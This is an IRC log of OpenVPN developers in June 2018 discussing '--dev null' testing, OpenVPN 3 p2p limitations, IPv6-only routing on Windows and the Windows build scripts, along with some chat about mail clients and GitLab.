I stoppe dusing mutt because the single-threaded model was becoming seriously annoying :S other than that it is a very awesome solution 02:25 <@cron2_> single-threaded? 02:26 <@ordex> isn't it? or is that changed with newer versions? in the past while sending an email the client would stop and wait for that to be done 02:26 <@ordex> you couldn't enter another folder or similar 02:26 <@cron2_> ah, yes. This is a non-issue here, as mutt just pipes to /usr/sbin/sendmail and lets that one worry about background delivery 02:26 <@ordex> maybe you are not using mutt with direct smtp connections but you rather let it deliver locally to some other daemon first? 02:26 <@ordex> yeah 02:26 <@ordex> that 02:26 <@cron2_> but if you're talking to a long-distance SMTP server it is not nice 02:26 <@ordex> yap 02:27 <@ordex> it you use mutt as a pure MUA then it's fine yeah 02:27 <@cron2_> *that* part also could use improvement in "what sort of authentication/encryption to use on the SMTP channel" - I had a big fallout between mutt and exchange at $customer recently, and couldn't get mutt to behave^W work around exchange properly 02:28 <@ordex> exchange is troublesome, no matter the client you use. 02:28 <@ordex> :p 02:35 <@cron2_> oh, indeed, that day I also had issues with thunderbird, and watching our highly qualified exchange support firm click around on exchange and not understand the problem ("let me install outlook first so I can see if exchange is behaving correctly") would have been entertaining, if not for the waste of time 02:36 <@ordex> :D 02:37 <@ordex> I have the feeling that entertaining would hjave converted to frustrastion quite fast 02:37 <@ordex> *have 02:37 <@ordex> wasting so much time on a solution that is supposed to just work is .. meh, especially in 2018 02:47 <@cron2_> yes 02:51 <@ordex> cron2_: I guess you see the subject of my email as "Encrypted Message", right? 02:52 <@cron2_> yep 02:52 <@cron2_> which is the new way to hide information from leaking via Subject: lines (that are normally unencrypted because "header") 02:53 <@ordex> correct - I was just about to say that 02:53 <@ordex> thunderbird at some point asked be if I wanted to enable it and i just clicked yes 03:00 <@cron2_> so... meeting... for the next 4 hours. Then, meeting. *wave* 03:01 <@ordex> enjoyy 03:01 <@ordex> :) 03:05 < ARdanT> hello. Is there a release date for OpenVPN v3 ? 03:10 <@cron2_> which variant of v3 exactly? 03:12 < ARdanT> well, the server 03:12 < ARdanT> as far as I can see, the v3 client is considered ready for production 03:13 < ARdanT> but, I'm asking for the server version (to create site-to-site VPN) 03:15 <@ordex> "the v3 client is considered ready for production": well the client hasn't been "released" yet. it's currently under heavy development but can already be used 03:17 < ARdanT> ok. I was refering to the statement found on https://github.com/OpenVPN/openvpn3 03:17 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3: OpenVPN 3 is a C++ class library that implements the functionality of an OpenVPN client, and is protocol-compatible with the OpenVPN 2.x branch. (at github.com) 03:18 < ARdanT> and it there some expected release date (or maybe not) for the v3 ? 03:20 <@ordex> not yet, but you can already download the linux client and test/use it 03:20 <@ordex> the release date should be somewhat soon I think, but nothing set on stone yet 03:21 < ARdanT> I currently have an production a worldwide network 60 of sites interconnected using OpenVPN v2, but we face performence problems because of the single-thread model of the v2. v3 is supposed to have not this limitation. 03:21 < ARdanT> ok 04:09 <@mattock> hmm the attestation signing process actually does not look _that_ bad 04:09 <@mattock> assuming it works without hitches, of course 04:10 <@mattock> https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/attestation-signing-a-kernel-driver-for-public-release 04:10 <@vpnHelper> Title: Attestation signing a kernel driver for public release | Microsoft Docs (at docs.microsoft.com) 04:10 <@mattock> I now have a real Windows 10 PC for testing the results as well 05:06 <@ordex> cron2_: about TAP and TEST_ROUTES - something is obscure to me: what routes is test_routes() trying to test? there shouldn't be any ipv4 route around, no? I can try to add them manually and see if they end up in the route_list, but otherwise I can't see how that would happen 05:09 < tincantech> mattock: I found that razmirz is forbidden by cleantalk on both IP & email, probably just an IP block but if he spams then he is back on the IP ban too, I have unbanned the IP for now ( i hope i did it right :) 05:54 < tincantech> ecrist: see above please 05:55 <@mattock> tincantech: thanks, I will notify him! 05:57 < tincantech> Ei ongelmaa 06:11 <@cron2_> ordex: test_routes() will look at all interfaces and see if one of them has the route_gateway address as "on link" 06:11 <@cron2_> as in "DHCP has done its job and the tap adapter has the proper IP address and subnet now" (which can take a bit on windows) 06:12 <@cron2_> seems the "redirect-gateway" part in Selvas test ended up putting 2x /1 -> tun/tap into the route list, and that gateway is not reachable -> fail 06:13 <@cron2_> ARdanT: I haven't heard anything about a v3 server. The linux v3 client might be able to run in point-to-point mode, so you could build your mesh on top of that. 06:14 < ARdanT> ah ok 06:14 < ARdanT> interresting. Thansk 06:15 < ARdanT> I had the feeling that the client can only connect to a server. Not client to cilent 06:16 <@ordex> cron2_: hmmm ok, will dig deeper 06:21 <@cron2_> not sure if v3 can do client-to-client (one side needs to be TLS-Server in that role). The "server" side is actually two things - "point-to-multipoint with address distribution, routing on the server side, ..." and "TLS server" 06:21 <@cron2_> v3 definitely can not do point-to-multipoint, but p2p with TLS-Server might be possible. dazo: have you tested that? 06:22 <@cron2_> as a side note, I have my first host with proper Internet connectivity now... 06:23 <@cron2_> iperf says 06:23 <@cron2_> [SUM] 0.00-10.02 sec 8.83 GBytes 7.57 Gbits/sec receiver 06:23 <@ordex> not bad :D 06:24 <@cron2_> that is from us to the german research network... of course they have a bigger thing... an iperf3 server with 100Gbit uplink... 06:24 <@cron2_> but 7.5 Gbit/s TCP performance across "the Internet" ist still a good start :-) - and we can use that to test OpenVPN performance if needed 06:25 * dazo reads up 06:25 <@dazo> btw .... https://about.gitlab.com/2018/06/05/gitlab-ultimate-and-gold-free-for-education-and-open-source/ 06:25 <@vpnHelper> Title: GitLab Ultimate and Gold now free for education and open source | GitLab (at about.gitlab.com) 06:26 <@ordex> wow 06:26 <@dazo> (not saying we ditch GitHub .... still an advantage to have both .... but perhaps start promoting GitLab from our side instead? Perhaps sign-up for an Gold/Ultimate tier?) 06:28 * ordex did already 06:28 <@ordex> well, out workflow is fairly independent from GH/GL, and I think it is better to keep it that way 06:28 <@dazo> Agreed 06:28 <@ordex> but if Gold offers some tech advantages (i.e. better CI, etc, etc,..) why not 06:29 <@dazo> but we have several pointers going at GitHub ... we could just change that .... and then there's the openvpn3 project as well 06:29 < tincantech> https://motherboard.vice.com/en_us/article/ywen8x/13000-projects-ditched-github-for-gitlab-monday-morning 06:29 <@vpnHelper> Title: 13,000 Projects Ditched GitHub for GitLab Monday Morning - Motherboard (at motherboard.vice.com) 06:41 < tincantech> of course .. the more that switch the higher giblabs "exit" price will be ;) 06:43 <@cron2_> I'm not in favour of doing anything wrt GH/GL right now - what we use today of GH will nicely continue to work, and if it explodes, we can always move elsewhere 06:45 < tincantech> which is why i did not bother you with it on monday .. but as it has come up now .. 06:48 <@ordex> cron2_: yeah, at this very moment the problem is more "ethical" rather than practical 06:48 <@ordex> (at least for FOSS projects) 06:48 <@ordex> even though the ToS is changed in a way that *may* allow MS to violate the GPL 06:49 <@ordex> I say *may* because legalese is not a clear langiuage and the situation is not entirely clear 06:49 <@ordex> *language 06:53 < tincantech> ordex: what changed ? i am reading Terms now .. 06:53 <@ordex> https://www.fsf.org/blogs/licensing/do-githubs-updated-terms-of-service-conflict-with-copyleft 06:53 <@vpnHelper> Title: Do GitHub's updated terms of service conflict with copyleft? Free Software Foundation working together for free software (at www.fsf.org) 07:00 < tincantech> well .. I am sure *everybody* knows what M$ are capable of .. I would fall on the side of "be over cautious" but M$ already forked every single openvpn/* repo that I am aware of .. so it's all a bit moot now 07:06 < tincantech> I am fairly sure they have done the same with git/openssl .. 07:18 < tincantech> *when* (not if) you consider moving why not this : https://savannah.gnu.org/ 07:18 <@vpnHelper> Title: Welcome [Savannah] (at savannah.gnu.org) 07:22 <@ordex> cron2_: dazo: is DEV_TYPE_NULL really still supported? 07:24 <@dazo> I believe so, we've not deliberately killed it, AFAIR. 07:24 <@dazo> (and it is useful for connection testing) 07:24 <@ordex> oky 07:24 <@dazo> so if it doesn't work now .... we've broken something 07:25 <@ordex> hehe 07:25 <@ordex> I haven't tested it - just saw the code and wondered.. 07:25 <@dazo> ahh :) 07:27 <@dazo> oh, see commit 22c5381b71710ad0e1dbbccc1d5680fccb602311 ... we're keeping it alive ;-) 07:29 <@dazo> hmmm ... something is not right 07:29 <@ordex> :D 07:29 <@ordex> did I open a can of worm? 07:29 <@dazo> http://termbin.com/cfua 07:30 * ordex is already losing hair thinking about rebasing sitnl on top of ipv6-only 07:30 <@dazo> :-P 07:30 <@ordex> dazo: isn't dev-type that should be null ? 07:31 <@dazo> it doesn't work ... and not adding --dev-type gives same result, just with tun0 instead 07:31 <@dazo> and it can't be run unprivileged 07:32 <@dazo> (man page also says: --dev tunX | tapX | null ) 07:32 <@ordex> yeah, without dev-type, --dev null will match too 07:32 <@ordex> s/will/should 07:32 <@ordex> :) 07:37 < tincantech> null works without tls mode : openvpn --dev nul --port 65432 --verb 4 07:37 < tincantech> Wed Jun 6 13:36:46 2018 us=848667 TUN/TAP device null opened 07:37 < tincantech> *--dev null 07:38 < tincantech> null works without tls mode : openvpn --dev nul --port 65432 --verb 4 --dev-type tun <- 07:39 <@dazo> hmmm ... interesting 07:39 <@ordex> in the latter case I think it will create an interface of type "tun" called "null" 07:39 < tincantech> not sure if tls is the cause but maybe your example.conf is over-riding 07:39 <@ordex> and it should be "null", not "nul" 07:41 < tincantech> 12: null: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN mode DEFAULT group default qlen 100 07:41 <@dazo> uhh .... stupid n00b mistake .... putting --dev before a --config which contains --dev 07:42 < tincantech> ;) 07:42 <@dazo> # /usr/sbin/openvpn --config ../sample-config-files/server.conf --port 5000 --route-noexec --dev null 07:42 <@dazo> Options error: --server directive only makes sense with --dev tun or --dev tap 07:42 <@dazo> Use --help for more information. 07:42 <@plaisthos> tincantech: make openssl? That is a very strange post 07:43 <@dazo> but enforcing --dev-type tap/tun actually creates a null tap/tun device 07:45 < tincantech> plaisthos: i think that user just has some problems understanding what he has setup .. but the post on serverfault was more interesting 07:46 < tincantech> i mean stackoverflow : Q "The command called gcc is not really GCC on Mavericks. It's just a copy of Clang" 07:46 <@plaisthos> tincantech: did catch the serverfault thing 07:46 <@plaisthos> tincantech: yeah but that is common knowledge 07:46 <@dazo> cron2_: my network lingo-fu is poor "point-to-multipoint" ... as in TAP? TUN is p2p. And only TUN is supported in ovpn3. I highly doubt we'll ever add TAP support there. 07:46 <@plaisthos> and has been for a looooong time 07:47 <@plaisthos> and even before that gcc was not really gcc but gcc with llvm bckend 07:48 < tincantech> plaisthos: ok thanks .. your buildbot is Mac .. is there any info on how it builds openvpn .. the build-system does not cover Mac i think .. so i just wondered if there was any other infor for mac anywhere 07:50 <@plaisthos> install all prequisite from homebrew 07:50 <@plaisthos> build openvpn as normal and point for dependencies to the homebrew locations 07:50 <@plaisthos> it is not really special 07:51 < tincantech> so just use the build system as native should work ? 07:51 <@plaisthos> yeah 07:51 < tincantech> excellent thanks :) 07:54 <@ordex> dazo: cron2_ meant P2MP as in server mode, I think 07:56 <@dazo> well, that works ... but static tunnels is unsupported 07:56 <@dazo> ahh, right 07:56 <@dazo> yes, now I see the light :) 07:57 <@dazo> Hmmm .... I need to test --mode p2p with PKI .... static mode is not supported AFAIR 07:57 <@dazo> but --mode server works, thats for sure 07:59 <@ordex> dazo: with the linux client/ovpn3? 08:04 <@dazo> yeah 08:07 <@dazo> well it "works" .... this can (should?) be fixed in ovpn3. On the --tls-server side I have --ifconfig 10.8.0.1 10.8.0.2 .... and had to add --push "ifconfig 10.8.0.2 10.8.0.1" (the reverse) ... then it connected successfully 08:08 <@dazo> --ifconfig in the local client config was ignored 08:09 * dazo tries with ovpncli/cli.cpp too 08:09 <@ordex> dazo: cli.cpp can also run with --mode server ? didn't know it was supported 08:12 <@dazo> I'm testing p2p now 08:14 <@dazo> so ... ifconfig needs to be pushed .... 08:14 <@dazo> # ./src/openvpn/openvpn --dev tun --tls-server --ca ca.crt --key server.key --cert server.crt --verb 4 --mode p2p --dh dh2048.pem --ifconfig 10.8.0.1 10.8.0.2 --push "ifconfig 10.8.0.2 10.8.0.1" 08:15 <@dazo> and the ovpn3 config looks like this: 08:15 <@dazo> dev tun 08:15 <@dazo> remote 192.168.122.7 08:15 <@dazo> tls-client 08:15 <@dazo> ca ca.crt 08:15 <@dazo> key client.key 08:15 <@dazo> cert client.crt 08:15 * dazo tries to flip it around 08:18 <@dazo> that does not work ... so ovpn3 cannot be --tls-server with the client implementation (not surprising, though) ... openvpn 2.x reports: 08:18 <@dazo> TLS Error: client->client or server->server connection attempted from [AF_INET]192.168.122.1:52992 08:19 <@ordex> yeah I think ovpn3 will still a CLIENT HARD RESET at the beginning 08:19 <@dazo> oh, this is "interesting" 08:19 <@dazo> Wed Jun 6 15:17:44.250 2018 UNUSED OPTIONS 08:19 <@dazo> 1 [tls-server] 08:19 <@dazo> 6 [dh] [-----BEGIN DH PARAMETERS----- MIIBCAKCAQEArdnA32xujHPlPI+jPffHSo...] 08:19 <@dazo> 7 [verb] [4] 08:19 <@dazo> 8 [ifconfig] [10.8.0.1] [10.8.0.2] 08:20 <@dazo> which basically explains everything 08:20 <@ordex> :P 08:22 <@dazo> yup .. and that TLS Error message is exactly checking if the remote side sent P_CONTROL_HARD_RESET_CLIENT_V[12] if the local side was in --tls-client mode 08:23 <@dazo> src/openvpn/ssl.c:3425 tls_pre_decrypt() 08:24 <@dazo> cron2_: so ... ovpn3 clients can act as --tls-client and server side can be both --mode server and --mode p2p, but the latter one requires a little hack to work 08:25 <@ordex> dazo: I think cron2_ was trying to suggest to use 2 ovpn3 clients in p2p mode so that the guy could create a mesh of ovpn3 tunnels, but I might be wrong 08:26 <@dazo> yeah, and that won't work ... as ovpn3 requires PKI mode (--tls-server/--tls-client) and the current reference implementation (ovpncli/cli.cpp) as well as the openvpn3-linux client only supports --tls-client 08:34 < tincantech> ordex: i can probably use the build-sys to build a windows version of your ipv6 only and run some tests if that helps you at all ? 08:40 < tincantech> i'll build it anyway and speak to you l8r .. g2g4now 09:04 -!- cron2_ [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 09:30 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 09:30 -!- mode/#openvpn-devel [+o cron2] by ChanServ 09:30 <@cron2> hah, my nick is back 09:31 <@cron2> ordex: I use --dev null very regularily :-) - that way you can run "will it connect and AUTH properly?" tests without root privs 09:33 <@dazo> I wonder then if --dev null is broken in 2.4.6 09:33 <@cron2> dazo: point-to-multipoint as in "--server mode", not networkwise :-) - and that's both tun an dtap 09:34 <@dazo> yeah, I realised that with ordex' help .... bloodsugar level too low :) 09:35 <@cron2> dazo: it's possible that 22c5381b71710ad0e1dbbccc1d5680fccb602311 only made it into master 09:36 <@cron2> uh, no, log says it's in 2.4 as well 09:36 <@cron2> but it might not work in --server mode, this is something I never needed 09:37 <@cron2> commit 2085c1f3875b9c96ac739941712247b805677efa 09:37 <@cron2> Fix '--dev null' 09:37 <@cron2> To test whether a server is reachable and all the key handling is 09:37 <@cron2> right, openvpn can connect with "--dev null --ifconfig-noexec" to 09:37 <@cron2> avoid needing to the client with elevated privileges. 09:37 <@dazo> but you need --mode server to test authentication, no? 09:37 <@cron2> I need a *server* to test authentication :-) 09:37 <@dazo> or you only meant PKI auth? 09:37 <@dazo> ahh 09:37 <@cron2> so I have a corp VPN server that I want to test ("is the server healthy? is the certificate still valid? have we messed up radius backend again?") 09:38 <@dazo> yeah, right ... --mode is p2p on client when connecting to a --mode server 09:38 <@cron2> so I have a client which has a valid user/pass combo and a valid client cert, and that connects to the corp VPN server to see "is the server healthy?" 09:38 <@cron2> but I do not want to run the client with root privs --> "--dev null --ifconfig-noexec" 09:38 <@dazo> right ... let me re-test with --ifconfig-noexec too 09:39 <@cron2> that will make it run totally unprivileged - won't try to open a tun device, run ifconfig, ... 09:39 <@cron2> your example (cfua) has a server.conf, never tested if that one works - it's a different usage model than my case 09:44 <@cron2> so, a thunderstorm is coming up, I'm @work by bicycle -> move home, fast :-) 09:46 < tincantech> Run Forest ! 09:48 <@dazo> but during a thunderstorm you should not hide under a tree ................. 09:51 <@dazo> hmmm ... we still have the issue with --proto udp ... if disconnecting client without --explicit-exit-notify and re-connecting ... it enters a "PUSH_REQUEST" loop for a while .... seems to be a mismatch between server side client context and the client side context 09:53 <@dazo> okay, so --dev null works when adding --ifconfig-noexec 10:11 <@ordex> dazo: yeah we discussed that delay some time ago - server will just reuse the context and there is a timeout that needs to expire (few secs, not important in real world I think) 11:02 * ecrist looks 11:03 <@ecrist> tincantech: he's banned by IP and email, and he has multiple IPs he uses. 11:30 < tincantech> ecrist: that bad ? 12:00 <@ecrist> I'm not sure. 12:00 <@ecrist> His IPs were banned for a reason, but I don't know. mattock is likely on to something with them likely being VPN IPs. 12:11 < tincantech> ah right! 12:12 < tincantech> yeah .. that is a sticky wicket .. Real spammers logging in over a public VPN could prove troublesome 12:13 < tincantech> there may be a way to permanently whitelist those ips with clean-talk 12:13 <@dazo> ordex: ahh ... and another devilish detail ... it only happens in p2p mode, not server 12:14 <@dazo> ordex: it's more than a few seconds .... I believe the delay it is affected by --ping-restart 12:14 <@dazo> uhm ... nope, I'm wrong ... I managed to reproduce with --mode server now 12:17 <@dazo> And the delay on bare minimal configs is 25-30 seconds 13:17 < tincantech> ecrist: mattock: i can change the way i report spam to cleantalk 14:21 < tincantech> ecrist: i'll submit a ticket ..see what happens 14:52 <@ecrist> ok 20:01 <@ordex> dazo: push.c:667: c->c2.sent_push_reply_expiry = now + 30; 20:02 <@ordex> when I asked about it, I think the answer (by cron2 ?) was that this is implemented to avoid that a broken client floods the server with multiple push requests. it might be improved, but we risk to have floods without this protection 21:50 <@ordex> cron2: by the way, ipv4 routes already fail when no --ifconfig is provided, with this error: OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options 21:50 <@ordex> which makes sense 22:37 <@ordex> cron2: when you have 1 min, could you help me understanding what tun_standby() really does? 22:37 <@ordex> I guess this is the function "getting stuck" on windows and I could easily factor it out by checking for tt->did_ifconfig_setup, but I want to be sure this is the right thing to do 23:10 <@ordex> ok routes HAVE to be filtered out, otherwise there are several points where the list is accessed that may produce a failure 23:10 <@ordex> pff 23:39 < kitsune1> ordex: a fully specified --route network/IP netmask gateway would still succeed if its not through the tun, wouldn't it? 23:40 <@ordex> well, it seems people want it to 23:40 <@ordex> the problem is "understanding it is not through the tun" 23:40 <@ordex> or "expected to be through the tun" 23:40 <@ordex> (given that there is no ipv4 configured) 23:41 < kitsune1> yeah, that could be tricky. But route failures are not fatal, are they -- so let it raise some warnings. 23:41 <@ordex> yeah 23:41 <@ordex> trying to make it like that 23:41 <@ordex> the problem is that on windows it will try to configure the interface several times if routes can't be established 23:41 <@ordex> so Selva suggested to filter "them" out 23:42 <@ordex> but that's not easy 23:42 <@ordex> and honestly it feels like trying to fix configuration mistakes at runtime 23:43 < kitsune1> hmm.. filtering sounds hard. What about just skip that repeated waiting for tun to comeup on Windows if there is no v4 ip? Is that hard? 23:44 <@ordex> this is what I am implementing now 23:44 <@ordex> should[tm] be enough 23:45 < kitsune1> yeah -- that + let v4 routes fail or succeed should be good enough. 23:45 <@ordex> cron2: said this in his email 23:45 <@ordex> This shouldn't actually try to do anything in the first place - it 23:45 <@ordex> looks at "struct route_list *rl", which should not be populated if 23:45 <@ordex> we have no v4 address to point the routes to. (Or maybe it should, 23:45 <@ordex> but only for "non-tun/tap routes"). 23:45 <@ordex> and I was tyring to go for the latter option 23:45 <@ordex> but it seems basically impossible at thi spoint 23:45 <@ordex> so probably "shouldn't actually try to do anything in the first place" is probably better 23:48 < kitsune1> In any case that check is to see whether the i/f got a v4 ip or not. When there is no v4 ip, bypassing it looks perfectly ok. 23:51 <@ordex> yap 23:51 < kitsune1> Is v6 routes allowed even if no v6 address is set? 23:51 <@ordex> I think they are but they just fail (?) 23:51 <@ordex> haven't checked that 23:52 < kitsune1> Making v6-only as smooth as v4-only is a nice goal but may not be possible because of asymmetries inherent in the code.. 23:53 <@ordex> right 23:53 <@ordex> but that's the goal 23:58 < kitsune1> btw, just through of a use case of v4 routes without v4 address: block local traffic when VPN is on -- its called redirect-gateway block-local or some such? Could be one reason why allowing external v4 routes is being suggested.. 23:59 < kitsune1> through -> thought --- Day changed Thu Jun 07 2018 00:00 < kitsune1> oh no, that wouldnt work as its currently done by redirecting local traffic into the tunnel! 00:17 <@ordex> yeah 00:17 <@ordex> to block ipv4 (do we really want that?!) we should probably install some fake unreachable route 00:17 <@ordex> but this is another topic :) 00:18 <@ordex> this code is overly complex :D 00:19 <@ordex> it's funny to see how there are many criptical cases for v4, while v6 is way simpler 00:23 < kitsune1> Yeah, the more you dig the more skeletons and gems you find.. 00:23 < kitsune1> :) 00:25 <@ordex> hhee 00:25 < kitsune1> v6 is simpler also because its less used -- as every one starts using v6 you will see how many pet feature requests would start flowing in and how many of those get implemented by someone or other.. Less likely these days with tighter code review and ACK process, but looks like in early days openvpn like to grow warts and features just for the fun of it.. 00:26 <@ordex> maybe 00:27 < kitsune1> Just guessing.. History of how openvpn got so many options and features may be an interesting read... 00:29 <@ordex> or maybe not :D 00:46 <@ordex> kitsune1: can you build openvpn for windows? 00:53 <@ordex> let's see if I find the right wikipage .. 00:59 <@ordex> if it's there...it is not easy to find 01:03 <@ordex> ah found :) let's see 01:26 <@ordex> mattock: can openvpn for windows be "used" without creating the nsis installer? 01:57 <@cron2> ,prmom 02:02 <@cron2> kitsune1: v6 routes are different, because there will always be a v6 link-local address on the tun, so you can actually have a working v6 route without a configured v6 address on the tun 02:03 <@cron2> kitsune1: v6 is simpler because I implemented that and refused to implement useless cruft and warts, like "route-gateway" (just point route to tun interface, done) or "topology <foo>" ;-) 02:04 <@cron2> ordex: you can build an openvpn.exe and copy that over, but if you have different OpenSSL libraries etc. it will blow up in funny ways 02:04 <@cron2> so running build-snapshot (IIRC) and just copy over an installer and install that might be more robust 03:00 <@ordex> cron2: if I execute the simple openvpn.exe in the prompt it does nothing and just exits. I guess I need to install some libraries somewhere too 03:01 <@ordex> I'll try the build snapshot thing 03:04 <@ordex> cron2: the problem I have now is with compiling a working makensis.. 03:05 <@ordex> nsis-3.03 dies with some errors in the .nsi file 03:05 <@ordex> while I can't build nsis-2.46 at all 03:05 * ordex suffers 03:08 <@ordex> let's try build-snapshot directly.. 03:54 <@mattock> ordex: why not setup a build computer using the scripts in Trac? 03:54 <@mattock> Ubuntu 16.04 setup with the script should "just work"(tm) 03:54 <@mattock> no tinkering required 03:55 <@ordex> you mean a VM just to build ? 04:00 <@ordex> mattock: and which script in Trac do you exactly mean? 04:00 <@ordex> I am following this right now: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 04:00 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 04:07 <@ordex> cron2: ++ for not implementing whistles, bells and motorbikes 04:07 <@ordex> :P 04:12 <@mattock> orde3x: https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem#no1 04:12 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 04:12 <@mattock> see attachment at the bottom of the page 04:12 <@mattock> the one (".6") for Ubuntu 16.04 04:13 <@ordex> oh ok, thanks 04:17 <@mattock> np 04:38 <@ordex> openvpn-install-2.5_git-I601.exe I made it!! 04:38 <@ordex> :] 04:47 <@ordex> hm on windows I need some .net framework 4.0 04:47 <@ordex> that uses just 1.8GB of disk that my vm does not have :D 04:49 <@cron2> ordex: what mattock says - get an ubuntu VM, run mattock#s script, build ;-) 04:49 <@cron2> .net is only needed for openvpnsrv2 I think 04:50 <@ordex> ok, therefore it should just work without that too I guess 04:50 <@ordex> nothing .-. it doesn't start 04:53 <@cron2> from a cmd.exe prompt? or from the gui? 04:53 <@cron2> does the gui start? 04:53 <@ordex> both 04:53 <@ordex> ifI try to start the gui from the start menu nothing happens 04:53 <@ordex> if I try to start the .exe from the prompt also nothing happens 04:54 <@ordex> no error not any output 04:55 <@cron2> the gui will put itself into the system tray (lower right) and not actually "do" anything unless you click there 04:56 <@ordex> yeah, but it doesn't happen :/ 04:57 <@mattock> ordex: you need .NET only for openvpnserv2 (i.e. system service called OpenVPNService) 04:57 <@mattock> the installer should try to download .NET if it is missing 04:57 <@ordex> mattock: yeah it wants to, but it does not fix in my VM disk 04:57 <@ordex> so I skipped that, hoping I could still run openvpn.exe 05:00 <@ordex> *does not fiT 05:47 <@mattock> lack of .NET only means you can't start OpenVPNService 05:48 <@mattock> it will not cause openvpn.exe to not start 07:12 <@ordex> weird - mattock any way i can try to figure out why it does nothing ? 07:15 <@cron2> anything in the windows event log? 07:15 <@ordex> let me see how to open it .. 07:18 <@ordex> cron2: do you know exactly where such things should be logged? it seems the event viewer is divided in several folders/views 07:19 <@cron2> there should be somethnig called "windows events" or so 07:19 <@ordex> hmm but it seems there isn't anything anywhere for the last 5 minutes 07:21 <@ordex> I will try with the installer from the website first 07:22 <@ordex> ok, now the gui starts. so something is messed up with my .exe 07:22 <@ordex> mah 07:24 <@ordex> I try again, otherwise I will go for the ubuntu vm 07:40 <@ordex> nothing :/ I will install ubuntu 07:40 <@ordex> mattock: what version of nsis is used on ubuntu? 2.46 or 3.03 ? 07:40 <@ordex> if you know .. 07:52 <@cron2> mattock: how does windows code signing certificates work, for non-drivers? 09:02 <@dazo> LOL ... https://www.jwz.org/images/scaled/mp4/2016/r60v5w.mp4 09:48 < tincantech> ordex: does this help .. MakeNSIS v2.51-1 - Copyright 1995-2015 Contributors 09:49 <@ordex> I am wondering if that is making any difference..even though makensis is only a packager, should not affect the final exe being installed 09:51 < tincantech> don't know but in another build log i also have MakeNSIS v2.50-1 - Copyright 1995-2015 Contributors 09:52 < tincantech> i have built your ipv6only for windows but having some wierd issues with comp-lzo/compress 09:58 <@ordex> not my fault!! (I hope) 10:03 < tincantech> no not your fault ;) 10:12 < tincantech> ok .. i am sure somebody here knows why but Ubuntu 18.04 does not build openvpn with the build-system correctly .. for what ever reason compress in not built correctly 10:12 < tincantech> i mean the cross build of windows 10:13 < tincantech> but i think that is expected because 16.04 is the official platform for the build-system 10:25 <@ordex> build-snapshot disabled lz4 iirc 10:29 < tincantech> i do build-complete .. but it's no big deal .. i am retrying with ub1604 now 11:21 < tincantech> ordex: i don't know why but i get the same problem with comp-lzo/compress building your ipv6only repo with ub1604 .. i do not get the same problem with 2.4.6 .. 11:22 < tincantech> i will try git-master shortly 11:25 <@ordex> what problem exactly? 11:28 < tincantech> on the server i get : IP packet with unknown IP version=0 seen also version 3 and 15 11:29 < tincantech> on the server i set --compress --push "compress" and the same for comp-lzo no 11:29 < tincantech> wait for me to try git master andd see what we get 11:55 <@ordex> tincantech: how do you switch branch in build-complete ? 11:57 <@cron2> ordex: you call build-snapshot 11:58 <@cron2> this has 11:58 <@cron2> OPENVPN_BRANCH="${OPENVPN_BRANCH:-master}" 11:58 <@cron2> so you just run "export OPENVPN_BRANCH=ordexbreaksv4" beforehand and it "should do the right thing" 11:59 <@cron2> also, you want to use "build-all --build-depcache" once, and then "build-snapshot --use-depcache" - so it won't rebuild openssl and lzo every time 12:00 < tincantech> ordex: just built git master -- exact same setup -- no problems 12:01 <@ordex> cron2: apparently when build-snapshot called ../generic/build it tried to use my OPENVPN_URL as an http url wand wanted to download something 12:01 <@ordex> o.O 12:01 < tincantech> ordex: what i do with the build system is change build.vars and also delete generic/source ./tmp and windows-nsis/source ./tmp i can send you a mail with details if you like 12:01 < tincantech> i have to go for about an hour now so speak later 12:01 <@ordex> tincantech: same as I do - no prob :) 12:01 <@ordex> thanks 12:02 < tincantech> sure :) 12:38 <@cron2> ordex: indeed, my notes say 12:38 <@cron2> [adapt OPENVPN_URL in build-snapshot] 12:38 <@ordex> where 'adapt' means? :P 12:39 <@ordex> because it seems that ./build-snapshot and ../generic/build have two OPENVPN_URL with different meanings 12:39 <@cron2> ordex: build-snapshot reads 12:39 <@cron2> OPENVPN_URL="${OPENVPN_URL:-http://github.com/OpenVPN/openvpn.git}" 12:39 <@ordex> yap 12:39 <@cron2> that shouldn't be too hard to adjust :-) - in my build it reads 12:39 <@cron2> OPENVPN_URL="ssh://delta2.greenie.net/home/httpd/github/openvpn-236.git" 12:40 <@cron2> which is my staging repo 12:40 <@ordex> hmm 12:40 <@cron2> I'm not modifying ../generic/build (I think) 12:40 <@ordex> but later generic/build uses this with wget: 12:40 <@ordex> OPENVPN_URL="${OPENVPN_URL:-http://build.openvpn.net/downloads/snapshots/openvpn-${OPENVPN_VERSION}.tar.gz}" 12:40 <@cron2> this is for "build-all", which builds from a tarball 12:40 <@ordex> so it should not hit that .. 12:40 <@ordex> will check 12:41 <@cron2> build-complete, that is 12:42 <@ordex> yeah, which is called by build-snapshot 12:42 <@ordex> anyway, I will dig deeper without taking too much of your time :p this is just a bit dusty for me 12:44 <@cron2> to repeat: my notes say you should call "build-complete --build-depcache" once, and then "build-snapshot --use-depcache" with OPENVPN_URL and OPENVPN_BRANCH set up properly (in the script or with export FOO=... beforehand) 12:45 <@ordex> oh ok, thanks! will try that sequence 12:55 < tincantech> ordex: i use build-complete and as i said adjust build.vars .. i just stick openvpn-{whatever}.tar.gz on http://127.0.0.1/... 12:55 <@ordex> but where do you get the tarball for the branch? 12:56 < tincantech> i always delete all sources and tmp becaus i have had some bad experience with --build-depcche etc 12:56 < tincantech> the tarball i make from what ever source i need 12:56 <@ordex> ah ok 12:56 < tincantech> so for your branch i download the .tar.gz from gitlab then extract it and make it the tar it up again 12:57 < tincantech> then* 12:57 < tincantech> apart from building openssl every time it wortks well 12:57 <@cron2> this would work as well, but is much more annoying than setting up build-snapshot once and then just have it go to your git repo 13:00 < tincantech> ha .. having said all that i just screwed it somehow :D 13:01 < tincantech> bloody . where it should be a - 13:07 <@ordex> still doesn't work here :P build-snapshot calls build-complete which calls ../generic/build which calls wget on 